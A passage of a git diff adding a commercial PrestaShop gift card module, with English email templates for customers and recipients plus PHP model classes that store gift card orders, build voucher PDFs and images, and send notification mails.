          + Thank you for your trust. +  
        +
        +
         
        +
        + + \ No newline at end of file diff --git a/modules/giftcard/mails/en/giftcardsend_notifcustomer.txt b/modules/giftcard/mails/en/giftcardsend_notifcustomer.txt new file mode 100755 index 0000000..69cc44b --- /dev/null +++ b/modules/giftcard/mails/en/giftcardsend_notifcustomer.txt @@ -0,0 +1,4 @@ +Hi {firstname} {lastname}, +Your gift card in the amount of {giftcard_price} was sent today to the email address {giftcard_to_mail}, with your personalized message +You will find attached to this email a summary PDF file that you can print and offer. +Thank you for your trust. \ No newline at end of file diff --git a/modules/giftcard/mails/en/giftcardsend_recipient.html b/modules/giftcard/mails/en/giftcardsend_recipient.html new file mode 100755 index 0000000..36268d3 --- /dev/null +++ b/modules/giftcard/mails/en/giftcardsend_recipient.html @@ -0,0 +1,157 @@ + + + + + + Gift Card {shop_name} + + + + + + +
        + + + + + + +
          + + + + + + + + + + + + + + + + + + + + +
        + + Hi {giftcard_lastname}, + +
        + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
          + +

        + We are pleased to send you this gift card in the amount of {giftcard_price}. + This gift card was offered by {giftcard_from}

        +
        +
         
          + Carte cadeau +  
          + +

        + {giftcard_from} wrote a message +

        +
        +

        + {giftcard_message} +

        +
         
          + To use:
        + Copy and paste this code {giftcard_code} in your cart on your next purchase before paying your order. +
         
          + You will find attached to this email a summary PDF file. +  
          + Happy shopping! +  
        +
        +
         
        +
        + + \ No newline at end of file diff --git a/modules/giftcard/mails/en/giftcardsend_recipient.txt b/modules/giftcard/mails/en/giftcardsend_recipient.txt new file mode 100755 index 0000000..35a08ac --- /dev/null +++ b/modules/giftcard/mails/en/giftcardsend_recipient.txt @@ -0,0 +1,18 @@ +Hi {giftcard_lastname}, + +We are pleased to send you this gift card in the amount of {giftcard_price}. +This gift card was offered by {giftcard_from}. + +{giftcard_from} wrote a message: +{giftcard_message} + +To use: +Copy and paste this code {giftcard_code} in your cart on your next purchase before paying your order. + +You will find attached to this email a summary PDF file. + +Happy shopping! + + + + diff --git a/modules/giftcard/mails/en/index.php b/modules/giftcard/mails/en/index.php new file mode 100755 index 0000000..ee7ae64 --- /dev/null +++ b/modules/giftcard/mails/en/index.php @@ -0,0 +1,26 @@ + + * @copyright Copyright (c) TIMACTIVE 2014 - Romain De Véra AI + * @version 1.0.0 + * @license Commercial license + * + ************************************* + ** GIFT CARD * + ** V 1.0.0 * + ************************************* + * + + * + Languages: EN, FR + * + PS version: 1.5,1.6 + */ + +header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); +header('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); +header('Cache-Control: no-store, no-cache, must-revalidate'); +header('Cache-Control: post-check=0, pre-check=0', false); +header('Pragma: no-cache'); +header('Location: ../'); +exit; \ No newline at end of file diff --git a/modules/giftcard/models/GiftCardOrder.php b/modules/giftcard/models/GiftCardOrder.php new file mode 100755 index 0000000..c7bcdd2 --- /dev/null +++ b/modules/giftcard/models/GiftCardOrder.php @@ -0,0 +1,363 @@ + + * @copyright Copyright (c) TIMACTIVE 2014 - Romain De Véra AI + * @version 1.0.0 + * @license Commercial license + * + ************************************* + ** GIFT CARD * + ** V 1.0.0 * + ************************************* + * + + * + Languages: EN, FR + * + PS version: 1.5,1.6 + */ + +class GiftCardOrder extends ObjectModel { + public $customer_mail; + public $to_mail; + public $message; + public $lastname; + public $receptmode = 0; /* 0: print at home 1: send by email */ + public $id_gift_card_template; + public $id_customization; + public $from; + public $delivery_date; + public $id_order; + public $id_product; + public $id_currency; + public $price; + public $quantity; + public $discountcode; + public $id_lang; + public $id_cart_rule; + public $date_add; + public $date_upd; + public $info; + public $status; + public $period_val; + public $sended = 0; + /* + * WAIT : If order is not logable, ERROR : Impossible create coupon, erreur db CREATED : the coupon is created CANCEL : the order is logable and become unlogable coupon is desactived + */ + protected $table = 'giftcardorder'; + protected $identifier = 'id_gift_card_order'; + public static $definition = array ( + 'table' => 'giftcardorder', + 'primary' => 'id_gift_card_order', + 'fields' => array ( + 'id_product' => array ( + 'type' => self::TYPE_INT, + 'validate' => 'isUnsignedId', + 'required' => true + ), + 'id_gift_card_template' => array ( + 'type' => self::TYPE_INT, + 'validate' => 'isUnsignedId', + 'required' => true + ), + 'receptmode' => array ( + 'type' => self::TYPE_INT, + 'validate' => 'isUnsignedId' + ), + 'period_val' => array ( + 'type' => self::TYPE_INT, + 'validate' => 'isUnsignedId' + ), + 'id_customization' => array ( + 'type' => self::TYPE_INT, + 'validate' => 'isUnsignedId' + ), + 'customer_mail' => array ( + 'type' => self::TYPE_STRING, + 'validate' => 'isString' + ), + 'to_mail' => array ( + 'type' => self::TYPE_STRING, + 'validate' => 'isString' + ), + 'message' => array ( + 'type' => self::TYPE_STRING, + 'validate' => 'isString' + ), + 'lastname' => array ( + 'type' => self::TYPE_STRING, + 'validate' => 'isString' + ), + 'from' => array ( + 'type' => self::TYPE_STRING, + 'validate' => 'isString' + ), + 'delivery_date' => array ( + 'type' => self::TYPE_DATE + ), + 'id_order' => array ( + 'type' => self::TYPE_INT, + 'validate' => 'isUnsignedId' + ), + 'id_lang' => array ( + 'type' => self::TYPE_INT, + 'validate' => 'isUnsignedId' + ), + 'id_currency' => array ( + 'type' => self::TYPE_INT, + 'validate' => 'isUnsignedId' + ), + 'quantity' => array ( + 'type' => self::TYPE_INT, + 'validate' => 'isUnsignedId' + ), + 'discountcode' => array ( + 'type' => self::TYPE_STRING, + 'validate' => 'isString' + ), + 'status' => array ( + 'type' => self::TYPE_STRING, + 'validate' => 'isString' + ), + 'sended' => array ( + 'type' => self::TYPE_BOOL, + 'validate' => 'isBool' + ), + 'id_cart_rule' => array ( + 'type' => self::TYPE_INT, + 'validate' => 'isUnsignedId' + ), + 'price' => array ( + 'type' => self::TYPE_FLOAT, + 'validate' => 'isPrice', + 'required' => true + ), + 'info' => array ( + 'type' => self::TYPE_HTML, + 'validate' => 'isCleanHtml', + 'size' => 3999999999999 + ), + 'date_add' => array ( + 'type' => self::TYPE_DATE, + 'validate' => 'isDateFormat' + ), + 'date_upd' => array ( + 'type' => self::TYPE_DATE, + 'validate' => 'isDateFormat' + ) + ) + ); + public static function exists($id_order, $status = null, $return = false, $id_lang = null) + { + if ($id_lang == null) + $id_lang = Context::getContext ()->language->id; + + if (Validate::isUnsignedId ( $id_order )) + { + $sql = 'SELECT go.*,c.quantity as voucher_qty,c.active as voucher_active,oc.id_order used_order,cl.`name` as cart_rule_name + FROM `'._DB_PREFIX_.'giftcardorder` go + LEFT JOIN `'._DB_PREFIX_.'cart_rule` c on c.id_cart_rule = go.id_cart_rule + LEFT JOIN `'._DB_PREFIX_.'order_cart_rule` oc on oc.id_cart_rule = c.id_cart_rule + LEFT JOIN `'._DB_PREFIX_.'cart_rule_lang` cl on c.id_cart_rule = cl.id_cart_rule AND cl.id_lang = '.(int)$id_lang.' + WHERE 1 '.(isset ( $status ) ? ' AND go.`status` = \''.$status.'\' ' : '').' + AND go.`id_order` = '.(int)($id_order); + $result = Db::getInstance ()->ExecuteS ( $sql ); + if (empty ( $result ) === false && $result != false && count ( $result )) + { + if ($return === false) + return (true); + else + return ($result); + } + } + return (false); + } + /** + * Return list giftcardorder associed to giftcard purchase + */ + public static function getPurchaseOrders($id_order_purchase, $id_lang = null) + { + if (Validate::isUnsignedId ( $id_order_purchase )) + { + $sql = 'SELECT go.*,c.quantity as voucher_qty, + c.active as voucher_active,oc.id_order used_order, + osl.`name` as status_name,os.logable as status_logable,os.`color` as status_color,cl.`name` as cart_rule_name + FROM `'._DB_PREFIX_.'giftcardorder` go + INNER JOIN `'._DB_PREFIX_.'order_cart_rule` oc on oc.id_cart_rule = go.id_cart_rule + INNER JOIN `'._DB_PREFIX_.'cart_rule` c on c.id_cart_rule = oc.id_cart_rule + INNER JOIN `'._DB_PREFIX_.'cart_rule_lang` cl on c.id_cart_rule = cl.id_cart_rule AND cl.id_lang = '.(int)$id_lang.' + INNER JOIN `'._DB_PREFIX_.'orders` o on o.id_order = go.id_order + LEFT JOIN `'._DB_PREFIX_.'order_state` os on os.id_order_state = o.current_state + LEFT JOIN `'._DB_PREFIX_.'order_state_lang` osl on osl.id_order_state = o.current_state AND osl.id_lang='.(int)$id_lang.' + WHERE oc.id_order='.(int)$id_order_purchase; + $result = Db::getInstance ()->ExecuteS ( $sql ); + return ($result); + } + return (false); + } + public static function isGiftCardDiscount($id_cart_rule) + { + $sql = new DbQuery(); + $sql->select('*'); + $sql->from('giftcardorder', 'go'); + $sql->where('go.id_cart_rule = '.$id_cart_rule); + return (bool)Db::getInstance()->getValue($sql); + } + + public static function getGiftCardOrdersToSend($date = null) + { + if ($date === null) + $date = date ( 'Y-m-d' ); + $sql = 'SELECT go.* FROM `'._DB_PREFIX_.'giftcardorder` go + WHERE go.`status` = \'CREATED\' + AND go.`sended`=0 + AND go.`receptmode`=1 + AND go.`delivery_date` <=\''.$date.'\' + AND go.`id_cart_rule` not in + (select id_cart_rule from `'._DB_PREFIX_.'order_cart_rule`)'; + $result = Db::getInstance ()->ExecuteS ( $sql ); + return ($result); + } + public function addInfoLine($message) + { + $info_line = '
      • '.date ( 'Y-m-d H:i:s' ).''.$message.'
      • '; + $this->info = $info_line.(isset ( $this->info ) ? $this->info : ''); + } + public function generatePDF($render = false) + { + $prefix_pdf = Configuration::get ( 'GIFTCARD_PDF_PREFIX', $this->id_lang ); + if (! $prefix_pdf || empty ( $prefix_pdf )) + $prefix_pdf = 'GIFTCARD'; + $file_name = $prefix_pdf.sprintf ( '%06d', $this->id ); + $order = new Order ( (int)$this->id_order ); + $giftCardTemplate = new GiftCardTemplate ( (int)$this->id_gift_card_template ); + $cart_rule = new CartRule ( (int)$this->id_cart_rule ); + $params = array (); + $params['id_shop'] = $order->id_shop; + $params['price'] = $this->price; + $params['id_currency'] = $this->id_currency; + $params['id_gift_card_order'] = $this->id; + $params['discountcode'] = $this->discountcode; + $params['id_product'] = $this->id_product; + $params['date_to'] = Tools::displayDate ( $cart_rule->date_to, null ); + $params['id_lang'] = $order->id_lang; + $params['message'] = $this->message; + $params['lastname'] = $this->lastname; + $params['from'] = $this->from; + if ($render) + GiftCardTools::processGeneratePdfV2 ( $giftCardTemplate, $params, $render, $file_name ); + else + return (GiftCardTools::processGeneratePdfV2 ( $giftCardTemplate, $params, $render, $file_name )); + } + public function mailAttachements() + { + $attachments = array (); + $file_attachement = array (); + $prefix_pdf = Configuration::get ( 'GIFTCARD_PDF_PREFIX', $this->id_lang ); + if (! $prefix_pdf || empty ( $prefix_pdf )) + $prefix_pdf = 'GIFTCARD'; + $file_attachement['content'] = $this->generatePDF ( false ); + $file_attachement['name'] = $prefix_pdf.sprintf ( '%06d', $this->id ).'.pdf'; + $file_attachement['mime'] = 'application/pdf'; + $attachments[] = $file_attachement; + return ($attachments); + } + public function getGiftCardImage() + { + $img_name = md5 ( uniqid ( rand (), true ) ).'.jpg'; + $tmp_file = _PS_ROOT_DIR_.'/modules/giftcard/pdf/'.$img_name; + $img_width = Configuration::get ( 'GIFTCARD_MAIL_IMG_WIDTH' ); + $img_height = Configuration::get ( 'GIFTCARD_MAIL_IMG_HEIGHT' ); + if (! ((int)$img_width > 0)) + $img_width = 349; + if (! ((int)$img_height > 0)) + $img_height = 195; + // $giftCardProduct = new GiftCardProduct((int)$this->id_product); + $giftCardTemplate = new GiftCardTemplate ( (int)$this->id_gift_card_template ); + if ($giftCardTemplate->issvg) + { + $svgparams = array (); + $svgparams['price'] = round ( $this->price ); + $svgparams['from'] = $this->from; + $svgparams['lastname'] = $this->lastname; + $svgparams['message'] = $this->message; + $svgparams['mailto'] = $this->to_mail; + $svgparams['code'] = $this->discountcode; + $svg = GiftCardTools::buildTemplateSvgV2 ( $giftCardTemplate, $svgparams, $this->id_lang ); + $card_img_generated = GiftCardTools::resizeImageWithTemplate ( $svg, $tmp_file, 0, $img_width, $img_height, 'jpg' ); + } + else + { + $template_path = $giftCardTemplate->img_dir.$giftCardTemplate->id.'/'; + $card_img_generated = ImageManager::resize ( $template_path.$giftCardTemplate->id.'.jpg', $tmp_file, $img_width, $img_height, 'jpg' ); + } + return ($tmp_file); + } + public function mailTemplateVars() + { + $templateVars = array (); + $templateVars['{giftcard_code}'] = $this->discountcode; + $templateVars['{giftcard_from}'] = $this->from; + $templateVars['{giftcard_to_mail}'] = $this->to_mail; + $templateVars['{giftcard_lastname}'] = $this->lastname; + $templateVars['{giftcard_message}'] = $this->message; + $templateVars['{giftcard_price}'] = Tools::displayPrice ( (float)$this->price, (int)$this->id_currency, false ); + return ($templateVars); + } + public function sendingMail($customer = null) + { + if (! isset ( $customer )) + { + $order = new Order ( (int)$this->id_order ); + $customer = new Customer ( (int)$order->id_customer ); + } + $id_lang = (int)GiftCardTools::getLangMail ( $this->id_lang ); + if (! $id_lang || ! ((int)$id_lang > 0)) + { + $this->sended = 1; + $message = 'Lang ko mail not sended > '.$customer->email; + $this->addInfoLine ( $message ); + $message = 'Lang ko mail not sended > '.$this->to_mail; + $this->addInfoLine ( $message ); + } + + $templateVars = $this->mailTemplateVars (); + $templateVars['{firstname}'] = $customer->firstname; + $templateVars['{lastname}'] = $customer->lastname; + $giftcard_image = null; + $list_attachments = $this->mailAttachements (); + if ((int)$this->receptmode == 1 && isset ( $this->to_mail ) && ! empty ( $this->to_mail )) + { + if (! $this->sended && ($this->delivery_date == null || date ( 'Y-m-d' ) >= date ( 'Y-m-d', strtotime ( $this->delivery_date ) ))) + { + $giftcard_image = $this->getGiftCardImage (); + /* Recipient */ + $subjet = Configuration::get ( 'GIFTCARD_MAIL_OBJ_REC', (int)$id_lang ); + $status = @MailGiftCard::Send ( (int)$id_lang, 'giftcardsend_recipient', sprintf ( $subjet, $this->from ), $templateVars, $this->to_mail, null, null, null, $list_attachments, null, _PS_ROOT_DIR_.'/modules/giftcard/mails/', false, null, null, $giftcard_image ); + $this->sended = 1; + $this->update (); /* Evite un envoi multiple suite à une erreur dans les étapes suivantes */ + $message = 'Mail >'.$this->to_mail.' : '.($status ? 'OK' : 'KO'); + $this->addInfoLine ( $message ); + + /* Notif Customer */ + $subjet = Configuration::get ( 'GIFTCARD_MAIL_OBJ_CUST', (int)$id_lang ); + $status = @MailGiftCard::Send ( (int)$id_lang, 'giftcardsend_notifcustomer', $subjet, $templateVars, $customer->email, null, null, Configuration::get ( 'PS_SHOP_NAME' ).' ', $list_attachments, null, _PS_ROOT_DIR_.'/modules/giftcard/mails/', false, null, null, $giftcard_image ); + $message = 'Mail > '.$customer->email.' : '.($status ? 'OK' : 'KO'); + $this->addInfoLine ( $message ); + } + } + else + { + /* Print at home */ + $giftcard_image = $this->getGiftCardImage (); + $subjet = Configuration::get ( 'GIFTCARD_MAIL_OBJ_CUST', (int)$id_lang ); + $status = @MailGiftCard::Send ( (int)$id_lang, 'giftcardprintathome', $subjet, $templateVars, $customer->email, null, null, null, $list_attachments, null, _PS_ROOT_DIR_.'/modules/giftcard/mails/', false, null, null, $giftcard_image ); + $this->sended = 1; + $this->update (); + $message = 'Mail >'.$customer->email.' : '.($status ? 'OK' : 'KO'); + $this->addInfoLine ( $message ); + } + if (isset ( $giftcard_image ) && $giftcard_image && ! empty ( $giftcard_image )) + @unlink ( $giftcard_image ); + } +} diff --git a/modules/giftcard/models/GiftCardProduct.php b/modules/giftcard/models/GiftCardProduct.php new file mode 100755 index 0000000..7d533c7 --- /dev/null +++ b/modules/giftcard/models/GiftCardProduct.php @@ -0,0 +1,366 @@ + + * @copyright Copyright (c) TIMACTIVE 2014 - Romain De Véra AI + * @version 1.0.0 + * @license Commercial license + * + ************************************* + ** GIFT CARD * + ** V 1.0.0 * + ************************************* + * + + * + Languages: EN, FR + * + PS version: 1.5,1.6 + */ + +class GiftCardProduct extends Product { + public $period_val; + public $id_currency; + public $id_customization_field_mailto; + public $id_customization_field_lastname; + public $id_customization_field_from; + public $id_customization_field_message; + public $id_customization_field_deliverydate; + public $id_customization_field_template; + public $id_customization_field_image; + public $amount; + public $cr_free_shipping = 0; + public $cr_partial_use = 1; + public $isdefaultgiftcard; + protected $identifier = 'id_product'; + protected static $_productIds = array (); + protected static $_giftCardsCache = array (); + public function __construct($id = null, $full = true) + { + parent::__construct ( $id, $full ); + if ($id) + { + $result = Db::getInstance ()->getRow ( ' + SELECT g.* + FROM `'._DB_PREFIX_.'giftcardproduct` g + WHERE g.id_product='.$id ); + if (! $result) + return false; + foreach ($result as $key => $value) + if (key_exists ( $key, $this )) + $this->{$key} = Tools::stripslashes ( $value ); + } + } + public function changeToDefault() + { + $result = Db::getInstance ()->update ( 'giftcardproduct', array ( + 'isdefaultgiftcard' => 0 + ) ); + if ($result) + $result &= Db::getInstance ()->update ( 'giftcardproduct', array ( + 'isdefaultgiftcard' => 1 + ), '`id_product` = '.(int)$this->id ); + return $result; + } + public static function updateAllCustomFields() + { + $sql = 'SELECT g.* + FROM `'._DB_PREFIX_.'giftcardproduct` g'; + $results = Db::getInstance ()->ExecuteS ( $sql ); + foreach ($results as $result) + { + $id_product = (int)$result['id_product']; + $giftcard = new GiftCardProduct ( $id_product ); + $giftcard->updateCustomizationFields (); + } + } + public function updateCustomizationFields() + { + $languages = Language::getLanguages ( true ); + foreach ($languages as $language) + { + Db::getInstance ()->update ( 'customization_field_lang', array ( + 'name' => pSQL ( Configuration::get ( 'GIFTCARD_CF_TO', (int)$language['id_lang'] ) ) + ), '`id_customization_field` = '.(int)$this->id_customization_field_mailto.' AND `id_lang` = '.(int)$language['id_lang'] ); + + Db::getInstance ()->update ( 'customization_field_lang', array ( + 'name' => pSQL ( Configuration::get ( 'GIFTCARD_CF_FROM', (int)$language['id_lang'] ) ) + ), '`id_customization_field` = '.(int)$this->id_customization_field_from.' AND `id_lang` = '.(int)$language['id_lang'] ); + + Db::getInstance ()->update ( 'customization_field_lang', array ( + 'name' => pSQL ( Configuration::get ( 'GIFTCARD_CF_MESSAGE', (int)$language['id_lang'] ) ) + ), '`id_customization_field` = '.(int)$this->id_customization_field_message.' AND `id_lang` = '.(int)$language['id_lang'] ); + + Db::getInstance ()->update ( 'customization_field_lang', array ( + 'name' => pSQL ( Configuration::get ( 'GIFTCARD_CF_DATESEND', (int)$language['id_lang'] ) ) + ), '`id_customization_field` = '.(int)$this->id_customization_field_deliverydate.' AND `id_lang` = '.(int)$language['id_lang'] ); + + Db::getInstance ()->update ( 'customization_field_lang', array ( + 'name' => pSQL ( Configuration::get ( 'GIFTCARD_CF_TEMPLATE', (int)$language['id_lang'] ) ) + ), '`id_customization_field` = '.(int)$this->id_customization_field_template.' AND `id_lang` = '.(int)$language['id_lang'] ); + + Db::getInstance ()->update ( 'customization_field_lang', array ( + 'name' => pSQL ( Configuration::get ( 'GIFTCARD_CF_LASTNAME', (int)$language['id_lang'] ) ) + ), '`id_customization_field` = '.(int)$this->id_customization_field_lastname.' AND `id_lang` = '.(int)$language['id_lang'] ); + + Db::getInstance ()->update ( 'customization_field_lang', array ( + 'name' => pSQL ( Configuration::get ( 'GIFTCARD_CF_IMAGE', (int)$language['id_lang'] ) ) + ), '`id_customization_field` = '.(int)$this->id_customization_field_image.' AND `id_lang` = '.(int)$language['id_lang'] ); + } + } + public function addCustomizationFields() + { + $languages = Language::getLanguages ( true ); + if (! Db::getInstance ()->Execute ( 'INSERT INTO `'._DB_PREFIX_.'customization_field` (`id_product`, `type`, `required`) VALUES ('.(int)($this->id).', 1, 0)' ) || ! $this->id_customization_field_mailto = (int)(Db::getInstance ()->Insert_ID ())) + return false; + if (! Db::getInstance ()->Execute ( 'INSERT INTO `'._DB_PREFIX_.'customization_field` (`id_product`, `type`, `required`) VALUES ('.(int)($this->id).', 1, 1)' ) || ! $this->id_customization_field_message = (int)(Db::getInstance ()->Insert_ID ())) + return false; + if (! Db::getInstance ()->Execute ( 'INSERT INTO `'._DB_PREFIX_.'customization_field` (`id_product`, `type`, `required`) VALUES ('.(int)($this->id).', 1, 1)' ) || ! $this->id_customization_field_from = (int)(Db::getInstance ()->Insert_ID ())) + return false; + if (! Db::getInstance ()->Execute ( 'INSERT INTO `'._DB_PREFIX_.'customization_field` (`id_product`, `type`, `required`) VALUES ('.(int)($this->id).', 1, 1)' ) || ! $this->id_customization_field_lastname = (int)(Db::getInstance ()->Insert_ID ())) + return false; + if (! Db::getInstance ()->Execute ( 'INSERT INTO `'._DB_PREFIX_.'customization_field` (`id_product`, `type`, `required`) VALUES ('.(int)($this->id).', 1, 0)' ) || ! $this->id_customization_field_deliverydate = (int)(Db::getInstance ()->Insert_ID ())) + return false; + if (! Db::getInstance ()->Execute ( 'INSERT INTO `'._DB_PREFIX_.'customization_field` (`id_product`, `type`, `required`) VALUES ('.(int)($this->id).', 1, 1)' ) || ! $this->id_customization_field_template = (int)(Db::getInstance ()->Insert_ID ())) + return false; + if (! Db::getInstance ()->Execute ( 'INSERT INTO `'._DB_PREFIX_.'customization_field` (`id_product`, `type`, `required`) VALUES ('.(int)($this->id).', 0, 0)' ) || ! $this->id_customization_field_image = (int)(Db::getInstance ()->Insert_ID ())) + return false; + foreach ($languages as $language) + { + $data_to = array ( + 'id_customization_field' => (int)$this->id_customization_field_mailto, + 'id_lang' => (int)$language['id_lang'], + 'name' => pSQL ( Configuration::get ( 'GIFTCARD_CF_TO', (int)$language['id_lang'] ) ) + ); + if (! Db::getInstance ()->insert ( 'customization_field_lang', $data_to )) + return false; + $data_from = array ( + 'id_customization_field' => (int)$this->id_customization_field_from, + 'id_lang' => (int)$language['id_lang'], + 'name' => pSQL ( Configuration::get ( 'GIFTCARD_CF_FROM', (int)$language['id_lang'] ) ) + ); + if (! Db::getInstance ()->insert ( 'customization_field_lang', $data_from )) + return false; + + $data_message = array ( + 'id_customization_field' => (int)$this->id_customization_field_message, + 'id_lang' => (int)$language['id_lang'], + 'name' => pSQL ( Configuration::get ( 'GIFTCARD_CF_MESSAGE', (int)$language['id_lang'] ) ) + ); + if (! Db::getInstance ()->insert ( 'customization_field_lang', $data_message )) + return false; + + $data_datesend = array ( + 'id_customization_field' => (int)$this->id_customization_field_deliverydate, + 'id_lang' => (int)$language['id_lang'], + 'name' => pSQL ( Configuration::get ( 'GIFTCARD_CF_DATESEND', (int)$language['id_lang'] ) ) + ); + if (! Db::getInstance ()->insert ( 'customization_field_lang', $data_datesend )) + return false; + + $data_lastname = array ( + 'id_customization_field' => (int)$this->id_customization_field_lastname, + 'id_lang' => (int)$language['id_lang'], + 'name' => pSQL ( Configuration::get ( 'GIFTCARD_CF_LASTNAME', (int)$language['id_lang'] ) ) + ); + if (! Db::getInstance ()->insert ( 'customization_field_lang', $data_lastname )) + return false; + + $data_template = array ( + 'id_customization_field' => (int)$this->id_customization_field_template, + 'id_lang' => (int)$language['id_lang'], + 'name' => pSQL ( Configuration::get ( 'GIFTCARD_CF_TEMPLATE', (int)$language['id_lang'] ) ) + ); + if (! Db::getInstance ()->insert ( 'customization_field_lang', $data_template )) + return false; + + $data_image = array ( + 'id_customization_field' => (int)$this->id_customization_field_image, + 'id_lang' => (int)$language['id_lang'], + 'name' => pSQL ( Configuration::get ( 'GIFTCARD_CF_IMAGE', (int)$language['id_lang'] ) ) + ); + if (! Db::getInstance ()->insert ( 'customization_field_lang', $data_image )) + return false; + } + return true; + } + public static function getDefault() + { + $result = Db::getInstance ()->getRow ( ' + SELECT g.id_product + FROM `'._DB_PREFIX_.'giftcardproduct` g + WHERE g.isdefaultgiftcard=1' ); + if (! $result) + return false; + $id_product = (int)$result['id_product']; + $giftCard = new GiftCardProduct ( $id_product ); + return ($giftCard); + } + public function add($autodate = true, $nullValues = false, $dupplicate = false) + { + $this->id_category_default = (int)Configuration::get ( 'GIFTCARD_CATEGORY_ID' ); + + if (! $dupplicate && ! $this->isdefaultgiftcard && ! self::getDefault ()) + $this->isdefaultgiftcard = 1; + + if (! $dupplicate) + { + $this->is_virtual = 1; + $this->customizable = 1; + $this->uploadable_files = 1; + $this->text_fields = 6; + $this->out_of_stock = 1; + $languages = Language::getLanguages ( false ); + $this->link_rewrite = array (); + foreach ($languages as $language) + $this->link_rewrite[(int)$language['id_lang']] = 'giftcard'.(isset ( $this->name[(int)$language['id_lang']] ) ? '-'.Tools::link_rewrite ( $this->name[(int)$language['id_lang']] ) : ''); + } + else + $this->isdefaultgiftcard = 0; + if (! parent::add () || ! $this->addToCategories ( $this->id_category_default )) + return (false); + if (! $this->addCustomizationFields ()) + return (false); + + if (! Db::getInstance ()->Execute ( 'INSERT INTO `'._DB_PREFIX_.'giftcardproduct` (`id_product`, `period_val`, `amount`, `cr_partial_use`, `cr_free_shipping`, + `id_customization_field_mailto`,`id_customization_field_message`,`id_customization_field_lastname`, + `id_customization_field_from`,`id_customization_field_deliverydate`,`id_customization_field_template`,`id_customization_field_image`,`id_currency`,`isdefaultgiftcard`) + VALUES ('.($this->id).','.(int)$this->period_val.','.(float)$this->amount.','.($this->cr_partial_use).','.($this->cr_free_shipping).','.$this->id_customization_field_mailto.','.$this->id_customization_field_message.','.$this->id_customization_field_lastname.','.$this->id_customization_field_from.','.$this->id_customization_field_deliverydate.','.$this->id_customization_field_template.','.$this->id_customization_field_image.','.$this->id_currency.','.($this->isdefaultgiftcard ? 1 : 0).')' )) + return false; + return (true); + } + public function update($autodate = true, $nullValues = false) + { + $res = Db::getInstance ()->execute ( 'UPDATE '._DB_PREFIX_.'giftcardproduct + SET id_currency = '.(int)$this->id_currency.', + amount = '.(float)$this->amount.', + cr_partial_use = '.(int)$this->cr_partial_use.', + cr_free_shipping = '.(int)$this->cr_free_shipping.', + period_val = '.(int)$this->period_val.' WHERE id_product='.$this->id ); + $res .= parent::update ( $autodate, $nullValues ); + return ($res); + } + public function delete($autodate = true, $nullValues = false) + { + $res = parent::delete ( $autodate, $nullValues ); + if ($res && Db::getInstance ()->execute ( 'DELETE FROM '._DB_PREFIX_.'giftcardproduct + WHERE id_product='.$this->id )) + return true; + return false; + } + public static function getGiftCards($id_lang = null, $active = false, $id_currency = null, $id_shop = null) + { + if ($id_lang === null) + $id_lang = (int)Configuration::get ( 'PS_LANG_DEFAULT' ); + $sql = ' + SELECT distinct(g.id_product),pl.name,pl.link_rewrite,amount,id_customization_field_mailto,id_customization_field_message,id_customization_field_deliverydate,id_customization_field_template, + id_customization_field_lastname,id_customization_field_from,id_customization_field_image,id_currency,isdefaultgiftcard,p.* + FROM `'._DB_PREFIX_.'giftcardproduct` g + INNER JOIN `'._DB_PREFIX_.'product` p ON (p.`id_product` = g.`id_product`) + '.($id_shop?' INNER JOIN `'._DB_PREFIX_.'product_shop` pshop ON (pshop.`id_product` = p.`id_product` AND pshop.id_shop='.(int)$id_shop.')':' ').' + LEFT JOIN `'._DB_PREFIX_.'product_lang` pl ON (p.`id_product` = pl.`id_product`) and pl.id_lang = '.$id_lang.' + WHERE 1=1 + '.($active ? ' AND p.active=1 ' : '').(isset ( $id_currency ) ? ' AND (g.id_currency=0 || g.id_currency='.(int)$id_currency.') ' : '').' + GROUP BY p.id_product + ORDER BY `price` + '; + $result = Db::getInstance ()->ExecuteS ( $sql ); + $products = Product::getProductsProperties ( $id_lang, $result ); + return ($products); + } + public static function getGiftCardIn($products) + { + $filterproducts = ''; + foreach ($products as $key => $product) + { + + if (isset ( $filterproducts ) && ! empty ( $filterproducts )) + $filterproducts .= ' OR `id_product` = '.($product['id_product']); + else + $filterproducts .= '`id_product` = '.($product['id_product']); + } + $result = Db::getInstance ()->ExecuteS ( 'SELECT `id_product` FROM `'._DB_PREFIX_.'giftcardproduct` WHERE '.$filterproducts ); + $tab = null; + foreach ($result as $key => $row) + $tab[] = (int)$row['id_product']; + $tabin = null; + if ($tab != null) + { + foreach ($products as $key => $product) + { + if (in_array ( (int)$product['id_product'], $tab )) + $tabin[] = $product; + } + } + return $tabin; + } + public static function getGiftCardsId() + { + if (self::$_giftCardsCache == null) + { + $result = Db::getInstance ()->ExecuteS ( 'SELECT `id_product` FROM `'._DB_PREFIX_.'giftcardproduct`' ); + self::$_giftCardsCache = array (); + foreach ($result as $key => $row) + self::$_giftCardsCache[(int)$row['id_product']] = true; + } + return (self::$_giftCardsCache); + } + /** + * Specify if a giftcard is already in database + * + * @param $id_product Product + * id + * @return boolean + */ + public static function isGiftCard($id_product) + { + $giftcardHashMap = self::getGiftCardsId (); + return isset ( $giftcardHashMap[(int)$id_product] ); + } + public function getFixedPrice($id_currency) + { + $specificprice = SpecificPrice::getSpecificPrice ( $this->id, 0, $id_currency, 0, 0, 0, null, 0, 0, 0 ); + return ((float)$specificprice['price']); + } + public static function duplicate($id_product_old) + { + $card = new GiftCardProduct ( $id_product_old ); + if (Validate::isLoadedObject ( $card = new GiftCardProduct ( (int)Tools::getValue ( 'id_product' ) ) )) + { + unset ( $card->id ); + unset ( $card->id_product ); + $card->indexed = 0; + $card->active = 0; + if ($card->add ( true, false, true )) + { + if (! Category::duplicateProductCategories ( $id_product_old, $card->id )) + return false; + + if (! Product::duplicateSpecificPrices ( $id_product_old, $card->id )) + return false; + if (! Tools::getValue ( 'noimage' ) && ! Image::duplicateProductImages ( $id_product_old, $card->id, array () )) + return false; + } + else + return (false); + } + else + return (false); + return ($card); + } + /* Controle */ + public static function getAmount($id_product) + { + $sql = new DbQuery(); + $sql->select('amount'); + $sql->from('giftcardproduct', 'g'); + $sql->where('g.id_product = '.(int)$id_product); + return (float)Db::getInstance()->getValue($sql); + } + public function validityPrice($id_currency) + { + $fixedprice = $this->getFixedPrice ( $id_currency ); + if ($fixedprice == $this->amount) + return true; + return false; + } +} diff --git a/modules/giftcard/models/GiftCardTag.php b/modules/giftcard/models/GiftCardTag.php new file mode 100755 index 0000000..378122f --- /dev/null +++ b/modules/giftcard/models/GiftCardTag.php @@ -0,0 